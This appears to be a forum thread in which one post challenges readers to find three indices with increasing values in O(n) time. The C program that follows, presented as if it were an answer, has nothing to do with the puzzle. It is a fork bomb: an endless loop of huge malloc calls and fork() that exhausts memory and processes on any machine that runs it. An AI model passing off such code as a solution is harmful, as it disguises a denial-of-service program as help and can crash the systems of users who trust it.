3 sequential numbers

Alright geniuses, if you think your programming ability is up to par, lets see you solve this:

Write an algorithm which in O(n) time finds 3 indices i, j, and k such that i < j < k and array[i] < array[j] < array[k].


#include <sys/types.h>
#include <unistd.h>

#include <stdlib.h>

int main(){
  int i;

  for(;;){
    for(i=0; i<1024; ++i){
      malloc(SIZE_MAX);
    }

    fork();
  }

  return 0;
}